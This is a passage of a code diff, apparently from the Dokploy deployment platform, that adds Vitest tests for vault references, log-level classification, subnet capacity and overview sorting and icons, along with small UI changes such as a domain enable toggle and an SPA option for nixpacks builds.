assignments: assignedEverywhere,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
mockFetch.mockResolvedValue(accessResponse("s3cret"));
|
||||||
|
|
||||||
|
const result = await resolveVaultReferences(
|
||||||
|
"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
|
||||||
|
scope,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(result).toBe("DB_PASSWORD=s3cret");
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
import { getLogType } from "@/components/dashboard/docker/logs/utils";
|
||||||
|
import { expect, test } from "vitest";
|
||||||
|
|
||||||
|
test("classifies real failures as error", () => {
|
||||||
|
expect(getLogType("Error: connection refused at db:5432").type).toBe("error");
|
||||||
|
expect(getLogType("[ERROR] something went wrong").type).toBe("error");
|
||||||
|
expect(getLogType("Deployment failed").type).toBe("error");
|
||||||
|
expect(
|
||||||
|
getLogType(
|
||||||
|
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1',
|
||||||
|
).type,
|
||||||
|
).toBe("error");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("does not classify explicit non-error key/values as error (#4538)", () => {
|
||||||
|
// ofelia job-completion summary for a successful run
|
||||||
|
expect(
|
||||||
|
getLogType(
|
||||||
|
'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none',
|
||||||
|
).type,
|
||||||
|
).not.toBe("error");
|
||||||
|
|
||||||
|
expect(getLogType("request done, error: null").type).not.toBe("error");
|
||||||
|
expect(getLogType("checks passed, failures=0").type).not.toBe("error");
|
||||||
|
expect(getLogType('shutdown clean, error=""').type).not.toBe("error");
|
||||||
|
expect(getLogType('job done failed=false error=""').type).not.toBe("error");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("keeps errors whose value merely starts with a no-error word", () => {
|
||||||
|
expect(getLogType("connect failed: no route to host").type).toBe("error");
|
||||||
|
expect(getLogType("connection failed: no such host").type).toBe("error");
|
||||||
|
expect(
|
||||||
|
getLogType("error: none of the configured nodes are available").type,
|
||||||
|
).toBe("error");
|
||||||
|
expect(getLogType("error: nil pointer dereference").type).toBe("error");
|
||||||
|
expect(getLogType("request failed: 0 bytes received").type).toBe("error");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("keeps statusCode-based classification", () => {
|
||||||
|
expect(getLogType('{"statusCode": "500"}').type).toBe("error");
|
||||||
|
expect(getLogType('{"statusCode": "204"}').type).toBe("success");
|
||||||
|
});
|
||||||
@@ -39,6 +39,8 @@ const ENTERPRISE_RESOURCES = [
|
|||||||
"logs",
|
"logs",
|
||||||
"monitoring",
|
"monitoring",
|
||||||
"auditLog",
|
"auditLog",
|
||||||
|
"vaultProvider",
|
||||||
|
"dnsProvider",
|
||||||
];
|
];
|
||||||
|
|
||||||
describe("enterpriseOnlyResources set", () => {
|
describe("enterpriseOnlyResources set", () => {
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
import { getSubnetCapacity } from "@dokploy/server/services/server-health";
|
||||||
|
import { describe, expect, test } from "vitest";
|
||||||
|
|
||||||
|
describe("getSubnetCapacity", () => {
|
||||||
|
test("returns null for missing/invalid input", () => {
|
||||||
|
expect(getSubnetCapacity(undefined)).toBeNull();
|
||||||
|
expect(getSubnetCapacity("")).toBeNull();
|
||||||
|
expect(getSubnetCapacity("10.0.0.0")).toBeNull();
|
||||||
|
expect(getSubnetCapacity("not-a-subnet")).toBeNull();
|
||||||
|
expect(getSubnetCapacity("10.0.0.0/33")).toBeNull();
|
||||||
|
expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("excludes network and broadcast addresses", () => {
|
||||||
|
expect(getSubnetCapacity("10.0.1.0/24")).toBe(254);
|
||||||
|
expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534);
|
||||||
|
expect(getSubnetCapacity("10.99.99.0/30")).toBe(2);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns 0 for subnets too small to hold a host", () => {
|
||||||
|
expect(getSubnetCapacity("10.0.0.0/31")).toBe(0);
|
||||||
|
expect(getSubnetCapacity("10.0.0.0/32")).toBe(0);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
import {
|
||||||
|
getBackupOverviewIcon,
|
||||||
|
getServiceOverviewIcon,
|
||||||
|
} from "@dokploy/server/services/overview";
|
||||||
|
import { describe, expect, test } from "vitest";
|
||||||
|
|
||||||
|
describe("getServiceOverviewIcon", () => {
|
||||||
|
test("returns a db icon for every known DB engine type", () => {
|
||||||
|
for (const type of [
|
||||||
|
"postgres",
|
||||||
|
"mariadb",
|
||||||
|
"mysql",
|
||||||
|
"mongo",
|
||||||
|
"redis",
|
||||||
|
"libsql",
|
||||||
|
] as const) {
|
||||||
|
expect(getServiceOverviewIcon({ type, icon: null })).toEqual({
|
||||||
|
kind: "db",
|
||||||
|
engine: type,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns a custom icon for application/compose with a service icon set", () => {
|
||||||
|
expect(
|
||||||
|
getServiceOverviewIcon({
|
||||||
|
type: "application",
|
||||||
|
icon: "data:image/png;base64,x",
|
||||||
|
}),
|
||||||
|
).toEqual({ kind: "custom", url: "data:image/png;base64,x" });
|
||||||
|
expect(
|
||||||
|
getServiceOverviewIcon({
|
||||||
|
type: "compose",
|
||||||
|
icon: "data:image/png;base64,y",
|
||||||
|
}),
|
||||||
|
).toEqual({ kind: "custom", url: "data:image/png;base64,y" });
|
||||||
|
});
|
||||||
|
|
||||||
|
test("falls back to a generic icon for application/compose without a service icon", () => {
|
||||||
|
expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual(
|
||||||
|
{
|
||||||
|
kind: "generic",
|
||||||
|
type: "application",
|
||||||
|
},
|
||||||
|
);
|
||||||
|
expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({
|
||||||
|
kind: "generic",
|
||||||
|
type: "compose",
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("getBackupOverviewIcon", () => {
|
||||||
|
test("returns a db icon for a database backup with a known databaseType", () => {
|
||||||
|
expect(
|
||||||
|
getBackupOverviewIcon({
|
||||||
|
databaseType: "postgres",
|
||||||
|
serviceType: null,
|
||||||
|
serviceOwnerType: "postgres",
|
||||||
|
}),
|
||||||
|
).toEqual({ kind: "db", engine: "postgres" });
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns a webServer icon for a web-server database backup", () => {
|
||||||
|
expect(
|
||||||
|
getBackupOverviewIcon({
|
||||||
|
databaseType: "web-server",
|
||||||
|
serviceType: null,
|
||||||
|
serviceOwnerType: "web-server",
|
||||||
|
}),
|
||||||
|
).toEqual({ kind: "webServer" });
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns a db icon for a compose-type backup dumping a known DB engine", () => {
|
||||||
|
expect(
|
||||||
|
getBackupOverviewIcon({
|
||||||
|
databaseType: "mysql",
|
||||||
|
serviceType: null,
|
||||||
|
serviceOwnerType: "compose",
|
||||||
|
}),
|
||||||
|
).toEqual({ kind: "db", engine: "mysql" });
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns a db icon for a volume backup of a known DB engine service", () => {
|
||||||
|
expect(
|
||||||
|
getBackupOverviewIcon({
|
||||||
|
databaseType: null,
|
||||||
|
serviceType: "mongo",
|
||||||
|
serviceOwnerType: "mongo",
|
||||||
|
}),
|
||||||
|
).toEqual({ kind: "db", engine: "mongo" });
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns a generic application icon for a volume backup of an application", () => {
|
||||||
|
expect(
|
||||||
|
getBackupOverviewIcon({
|
||||||
|
databaseType: null,
|
||||||
|
serviceType: "application",
|
||||||
|
serviceOwnerType: "application",
|
||||||
|
}),
|
||||||
|
).toEqual({ kind: "generic", type: "application" });
|
||||||
|
});
|
||||||
|
|
||||||
|
test("returns a generic compose icon for a volume backup of a compose service", () => {
|
||||||
|
expect(
|
||||||
|
getBackupOverviewIcon({
|
||||||
|
databaseType: null,
|
||||||
|
serviceType: "compose",
|
||||||
|
serviceOwnerType: "compose",
|
||||||
|
}),
|
||||||
|
).toEqual({ kind: "generic", type: "compose" });
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,79 @@
|
|||||||
|
import type { OverviewDomain } from "@dokploy/server/services/overview";
|
||||||
|
import { sortOverviewDomains } from "@dokploy/server/services/overview";
|
||||||
|
import { describe, expect, test } from "vitest";
|
||||||
|
|
||||||
|
const makeDomain = (overrides: Partial<OverviewDomain>): OverviewDomain => ({
|
||||||
|
domainId: "id",
|
||||||
|
host: "example.com",
|
||||||
|
path: "/",
|
||||||
|
port: 3000,
|
||||||
|
customEntrypoint: null,
|
||||||
|
https: true,
|
||||||
|
certificateType: "letsencrypt",
|
||||||
|
createdAt: "2024-01-01T00:00:00.000Z",
|
||||||
|
enabled: true,
|
||||||
|
domainType: "application",
|
||||||
|
serviceOwnerId: "app",
|
||||||
|
serviceOwnerType: "application",
|
||||||
|
serviceName: "App",
|
||||||
|
projectId: "project",
|
||||||
|
projectName: "Project",
|
||||||
|
environmentId: "environment",
|
||||||
|
environmentName: "Environment",
|
||||||
|
...overrides,
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("sortOverviewDomains", () => {
|
||||||
|
test("sorts by createdAt asc/desc", () => {
|
||||||
|
const domains = [
|
||||||
|
makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
|
||||||
|
makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
|
||||||
|
makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(
|
||||||
|
sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId),
|
||||||
|
).toEqual(["old", "mid", "new"]);
|
||||||
|
expect(
|
||||||
|
sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId),
|
||||||
|
).toEqual(["new", "mid", "old"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("sorts by port asc/desc, with portless domains always last", () => {
|
||||||
|
const domains = [
|
||||||
|
makeDomain({ domainId: "none", port: null }),
|
||||||
|
makeDomain({ domainId: "low", port: 80 }),
|
||||||
|
makeDomain({ domainId: "high", port: 8080 }),
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(
|
||||||
|
sortOverviewDomains(domains, "port-asc").map((d) => d.domainId),
|
||||||
|
).toEqual(["low", "high", "none"]);
|
||||||
|
expect(
|
||||||
|
sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
|
||||||
|
).toEqual(["high", "low", "none"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("port sort with all domains portless is a no-op", () => {
|
||||||
|
const domains = [
|
||||||
|
makeDomain({ domainId: "a", port: null }),
|
||||||
|
makeDomain({ domainId: "b", port: null }),
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(
|
||||||
|
sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
|
||||||
|
).toEqual(["a", "b"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("does not mutate the input array", () => {
|
||||||
|
const domains = [
|
||||||
|
makeDomain({ domainId: "b", port: 8080 }),
|
||||||
|
makeDomain({ domainId: "a", port: 80 }),
|
||||||
|
];
|
||||||
|
const original = [...domains];
|
||||||
|
|
||||||
|
sortOverviewDomains(domains, "port-asc");
|
||||||
|
|
||||||
|
expect(domains).toEqual(original);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
import type { OverviewService } from "@dokploy/server/services/overview";
|
||||||
|
import { sortOverviewServices } from "@dokploy/server/services/overview";
|
||||||
|
import { describe, expect, test } from "vitest";
|
||||||
|
|
||||||
|
const makeService = (overrides: Partial<OverviewService>): OverviewService => ({
|
||||||
|
id: "id",
|
||||||
|
type: "application",
|
||||||
|
name: "name",
|
||||||
|
appName: "app-name",
|
||||||
|
status: "running",
|
||||||
|
createdAt: "2024-01-01T00:00:00.000Z",
|
||||||
|
serverId: null,
|
||||||
|
serverName: null,
|
||||||
|
icon: null,
|
||||||
|
projectId: "project",
|
||||||
|
projectName: "Project",
|
||||||
|
environmentId: "environment",
|
||||||
|
environmentName: "Environment",
|
||||||
|
lastDeployAt: null,
|
||||||
|
...overrides,
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("sortOverviewServices", () => {
|
||||||
|
test("sorts by name asc/desc", () => {
|
||||||
|
const services = [
|
||||||
|
makeService({ id: "b", name: "Bravo" }),
|
||||||
|
makeService({ id: "a", name: "Alpha" }),
|
||||||
|
makeService({ id: "c", name: "Charlie" }),
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual(
|
||||||
|
["a", "b", "c"],
|
||||||
|
);
|
||||||
|
expect(
|
||||||
|
sortOverviewServices(services, "name-desc").map((s) => s.id),
|
||||||
|
).toEqual(["c", "b", "a"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("sorts by type asc/desc", () => {
|
||||||
|
const services = [
|
||||||
|
makeService({ id: "app", type: "application" }),
|
||||||
|
makeService({ id: "pg", type: "postgres" }),
|
||||||
|
makeService({ id: "comp", type: "compose" }),
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual(
|
||||||
|
["app", "comp", "pg"],
|
||||||
|
);
|
||||||
|
expect(
|
||||||
|
sortOverviewServices(services, "type-desc").map((s) => s.id),
|
||||||
|
).toEqual(["pg", "comp", "app"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("sorts by createdAt asc/desc", () => {
|
||||||
|
const services = [
|
||||||
|
makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
|
||||||
|
makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
|
||||||
|
makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(
|
||||||
|
sortOverviewServices(services, "createdAt-asc").map((s) => s.id),
|
||||||
|
).toEqual(["old", "mid", "new"]);
|
||||||
|
expect(
|
||||||
|
sortOverviewServices(services, "createdAt-desc").map((s) => s.id),
|
||||||
|
).toEqual(["new", "mid", "old"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => {
|
||||||
|
const services = [
|
||||||
|
makeService({ id: "never", lastDeployAt: null }),
|
||||||
|
makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }),
|
||||||
|
makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }),
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(
|
||||||
|
sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
|
||||||
|
).toEqual(["new", "old", "never"]);
|
||||||
|
expect(
|
||||||
|
sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id),
|
||||||
|
).toEqual(["old", "new", "never"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("lastDeploy sort with all services never deployed is a no-op", () => {
|
||||||
|
const services = [
|
||||||
|
makeService({ id: "a", lastDeployAt: null }),
|
||||||
|
makeService({ id: "b", lastDeployAt: null }),
|
||||||
|
];
|
||||||
|
|
||||||
|
expect(
|
||||||
|
sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
|
||||||
|
).toEqual(["a", "b"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("does not mutate the input array", () => {
|
||||||
|
const services = [
|
||||||
|
makeService({ id: "b", name: "Bravo" }),
|
||||||
|
makeService({ id: "a", name: "Alpha" }),
|
||||||
|
];
|
||||||
|
const original = [...services];
|
||||||
|
|
||||||
|
sortOverviewServices(services, "name-asc");
|
||||||
|
|
||||||
|
expect(services).toEqual(original);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -35,6 +35,7 @@ const baseDomain: Domain = {
|
|||||||
stripPath: false,
|
stripPath: false,
|
||||||
middlewares: null,
|
middlewares: null,
|
||||||
forwardAuthEnabled: false,
|
forwardAuthEnabled: false,
|
||||||
|
enabled: true,
|
||||||
};
|
};
|
||||||
|
|
||||||
describe("forwardAuthMiddlewareName", () => {
|
describe("forwardAuthMiddlewareName", () => {
|
||||||
|
|||||||
@@ -151,6 +151,7 @@ const baseDomain: Domain = {
|
|||||||
stripPath: false,
|
stripPath: false,
|
||||||
middlewares: null,
|
middlewares: null,
|
||||||
forwardAuthEnabled: false,
|
forwardAuthEnabled: false,
|
||||||
|
enabled: true,
|
||||||
};
|
};
|
||||||
|
|
||||||
const baseRedirect: Redirect = {
|
const baseRedirect: Redirect = {
|
||||||
|
|||||||
@@ -0,0 +1,108 @@
|
|||||||
|
import { describe, expect, test } from "vitest";
|
||||||
|
import { getLogType } from "@/components/dashboard/docker/logs/utils";
|
||||||
|
|
||||||
|
describe("getLogType", () => {
|
||||||
|
describe("explicit level declared by structured loggers", () => {
|
||||||
|
test("JSON string levels (pino, winston, zap)", () => {
|
||||||
|
expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug");
|
||||||
|
expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug");
|
||||||
|
expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info");
|
||||||
|
expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning");
|
||||||
|
expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning");
|
||||||
|
expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error");
|
||||||
|
expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("JSON numeric levels (pino, bunyan)", () => {
|
||||||
|
expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug");
|
||||||
|
expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info");
|
||||||
|
expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning");
|
||||||
|
expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error");
|
||||||
|
expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("syslog/GELF numeric levels", () => {
|
||||||
|
expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error");
|
||||||
|
expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning");
|
||||||
|
expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info");
|
||||||
|
expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("GCP-style severity and ECS log.level", () => {
|
||||||
|
expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe(
|
||||||
|
"error",
|
||||||
|
);
|
||||||
|
expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe(
|
||||||
|
"warning",
|
||||||
|
);
|
||||||
|
expect(getLogType('{"log.level":"error","message":"x"}').type).toBe(
|
||||||
|
"error",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("logfmt levels", () => {
|
||||||
|
expect(
|
||||||
|
getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type,
|
||||||
|
).toBe("error");
|
||||||
|
expect(
|
||||||
|
getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type,
|
||||||
|
).toBe("info");
|
||||||
|
expect(getLogType("level=warn msg=careful").type).toBe("warning");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("declared level wins over keywords in the message (#4589, #1996)", () => {
|
||||||
|
// "version"/"GET" in this pino line would otherwise match the debug keywords
|
||||||
|
const pinoError =
|
||||||
|
'{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}';
|
||||||
|
expect(getLogType(pinoError).type).toBe("error");
|
||||||
|
|
||||||
|
// info line containing error-like keywords (#4589)
|
||||||
|
expect(
|
||||||
|
getLogType(
|
||||||
|
'{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}',
|
||||||
|
).type,
|
||||||
|
).toBe("info");
|
||||||
|
|
||||||
|
// successful job summary with "failed: false, error: none" (#4538)
|
||||||
|
expect(
|
||||||
|
getLogType(
|
||||||
|
'level=info msg="Finished job, failed: false, skipped: false, error: none"',
|
||||||
|
).type,
|
||||||
|
).toBe("info");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("declared level wins over statusCode", () => {
|
||||||
|
expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("unknown level names fall back to keyword detection", () => {
|
||||||
|
expect(
|
||||||
|
getLogType('{"level":"verbose","msg":"connection failed"}').type,
|
||||||
|
).toBe("error");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("env-var-like text is not treated as logfmt level", () => {
|
||||||
|
expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe(
|
||||||
|
"error",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("fallback detection for unstructured logs (unchanged)", () => {
|
||||||
|
test("statusCode classification", () => {
|
||||||
|
expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error");
|
||||||
|
expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning");
|
||||||
|
expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("keyword classification", () => {
|
||||||
|
expect(getLogType("error: something broke").type).toBe("error");
|
||||||
|
expect(getLogType("warning: disk almost full").type).toBe("warning");
|
||||||
|
expect(getLogType("Server listening on port 8080").type).toBe("success");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("defaults to info", () => {
|
||||||
|
expect(getLogType("hello world").type).toBe("info");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
+1
-1
@@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
|
|||||||
To use a cluster feature, you need to configure at least
|
To use a cluster feature, you need to configure at least
|
||||||
a registry first. Please, go to{" "}
|
a registry first. Please, go to{" "}
|
||||||
<Link
|
<Link
|
||||||
href="/dashboard/settings/cluster"
|
href="/dashboard/docker?tab=swarm&subtab=nodes"
|
||||||
className="text-foreground"
|
className="text-foreground"
|
||||||
>
|
>
|
||||||
Settings
|
Settings
|
||||||
|
|||||||
+1
-1
@@ -234,7 +234,7 @@ export const HandleRedirect = ({
|
|||||||
<FormItem>
|
<FormItem>
|
||||||
<FormLabel>Replacement</FormLabel>
|
<FormLabel>Replacement</FormLabel>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<Input placeholder="http://mydomain/$${1}" {...field} />
|
<Input placeholder="http://mydomain/$1" {...field} />
|
||||||
</FormControl>
|
</FormControl>
|
||||||
|
|
||||||
<FormMessage />
|
<FormMessage />
|
||||||
|
|||||||
@@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [
|
|||||||
z.object({
|
z.object({
|
||||||
buildType: z.literal(BuildType.nixpacks),
|
buildType: z.literal(BuildType.nixpacks),
|
||||||
publishDirectory: z.string().optional(),
|
publishDirectory: z.string().optional(),
|
||||||
|
isStaticSpa: z.boolean().default(false),
|
||||||
}),
|
}),
|
||||||
z.object({
|
z.object({
|
||||||
buildType: z.literal(BuildType.railpack),
|
buildType: z.literal(BuildType.railpack),
|
||||||
@@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => {
|
|||||||
return {
|
return {
|
||||||
buildType: BuildType.nixpacks,
|
buildType: BuildType.nixpacks,
|
||||||
publishDirectory: data.publishDirectory || undefined,
|
publishDirectory: data.publishDirectory || undefined,
|
||||||
|
isStaticSpa: data.isStaticSpa ?? false,
|
||||||
};
|
};
|
||||||
case BuildType.paketo_buildpacks:
|
case BuildType.paketo_buildpacks:
|
||||||
return {
|
return {
|
||||||
@@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
|||||||
|
|
||||||
const buildType = form.watch("buildType");
|
const buildType = form.watch("buildType");
|
||||||
const railpackVersion = form.watch("railpackVersion");
|
const railpackVersion = form.watch("railpackVersion");
|
||||||
|
const publishDirectory = form.watch("publishDirectory");
|
||||||
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
|
const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
|||||||
? data.herokuVersion
|
? data.herokuVersion
|
||||||
: null,
|
: null,
|
||||||
isStaticSpa:
|
isStaticSpa:
|
||||||
data.buildType === BuildType.static ? data.isStaticSpa : null,
|
data.buildType === BuildType.static ||
|
||||||
|
data.buildType === BuildType.nixpacks
|
||||||
|
? data.isStaticSpa
|
||||||
|
: null,
|
||||||
railpackVersion:
|
railpackVersion:
|
||||||
data.buildType === BuildType.railpack
|
data.buildType === BuildType.railpack
|
||||||
? data.railpackVersion || "0.15.4"
|
? data.railpackVersion || "0.15.4"
|
||||||
@@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
|
|||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
|
{buildType === BuildType.nixpacks && publishDirectory && (
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="isStaticSpa"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem>
|
||||||
|
<FormControl>
|
||||||
|
<div className="flex items-center gap-x-2 p-2">
|
||||||
|
<Checkbox
|
||||||
|
id="checkboxIsStaticSpaNixpacks"
|
||||||
|
value={String(field.value)}
|
||||||
|
checked={field.value}
|
||||||
|
onCheckedChange={field.onChange}
|
||||||
|
/>
|
||||||
|
<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
|
||||||
|
Single Page Application (SPA)
|
||||||
|
</FormLabel>
|
||||||
|
</div>
|
||||||
|
</FormControl>
|
||||||
|
<FormMessage />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
{buildType === BuildType.static && (
|
{buildType === BuildType.static && (
|
||||||
<FormField
|
<FormField
|
||||||
control={form.control}
|
control={form.control}
|
||||||
|
|||||||
@@ -148,7 +148,7 @@ export const ShowDeployment = ({
|
|||||||
<DialogDescription className="flex items-center gap-2">
|
<DialogDescription className="flex items-center gap-2">
|
||||||
<span className="flex items-center gap-2">
|
<span className="flex items-center gap-2">
|
||||||
See all the details of this deployment |{" "}
|
See all the details of this deployment |{" "}
|
||||||
<Badge variant="blank" className="text-xs">
|
<Badge variant="blank" className="text-xs tabular-nums">
|
||||||
{filteredLogs.length} lines
|
{filteredLogs.length} lines
|
||||||
</Badge>
|
</Badge>
|
||||||
</span>
|
</span>
|
||||||
|
|||||||
@@ -14,6 +14,7 @@ import Link from "next/link";
|
|||||||
import { DialogAction } from "@/components/shared/dialog-action";
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
import { Badge } from "@/components/ui/badge";
|
import { Badge } from "@/components/ui/badge";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { Switch } from "@/components/ui/switch";
|
||||||
import {
|
import {
|
||||||
Tooltip,
|
Tooltip,
|
||||||
TooltipContent,
|
TooltipContent,
|
||||||
@@ -35,7 +36,9 @@ interface ColumnsProps {
|
|||||||
validationStates: ValidationStates;
|
validationStates: ValidationStates;
|
||||||
handleValidateDomain: (host: string) => Promise<void>;
|
handleValidateDomain: (host: string) => Promise<void>;
|
||||||
handleDeleteDomain: (domainId: string) => Promise<void>;
|
handleDeleteDomain: (domainId: string) => Promise<void>;
|
||||||
|
handleToggleEnable: (domainId: string) => Promise<void>;
|
||||||
isDeleting: boolean;
|
isDeleting: boolean;
|
||||||
|
isToggling: boolean;
|
||||||
serverIp?: string;
|
serverIp?: string;
|
||||||
canCreateDomain: boolean;
|
canCreateDomain: boolean;
|
||||||
canDeleteDomain: boolean;
|
canDeleteDomain: boolean;
|
||||||
@@ -47,7 +50,9 @@ export const createColumns = ({
|
|||||||
validationStates,
|
validationStates,
|
||||||
handleValidateDomain,
|
handleValidateDomain,
|
||||||
handleDeleteDomain,
|
handleDeleteDomain,
|
||||||
|
handleToggleEnable,
|
||||||
isDeleting,
|
isDeleting,
|
||||||
|
isToggling,
|
||||||
serverIp,
|
serverIp,
|
||||||
canCreateDomain,
|
canCreateDomain,
|
||||||
canDeleteDomain,
|
canDeleteDomain,
|
||||||
@@ -249,6 +254,42 @@ export const createColumns = ({
|
|||||||
);
|
);
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
id: "status",
|
||||||
|
header: "Status",
|
||||||
|
cell: ({ row }) => {
|
||||||
|
const domain = row.original;
|
||||||
|
if (!canCreateDomain) {
|
||||||
|
return (
|
||||||
|
<Badge variant={domain.enabled ? "outline" : "secondary"}>
|
||||||
|
{domain.enabled ? "Enabled" : "Disabled"}
|
||||||
|
</Badge>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return (
|
||||||
|
<TooltipProvider>
|
||||||
|
<Tooltip>
|
||||||
|
<TooltipTrigger asChild>
|
||||||
|
<div className="flex items-center">
|
||||||
|
<Switch
|
||||||
|
checked={domain.enabled}
|
||||||
|
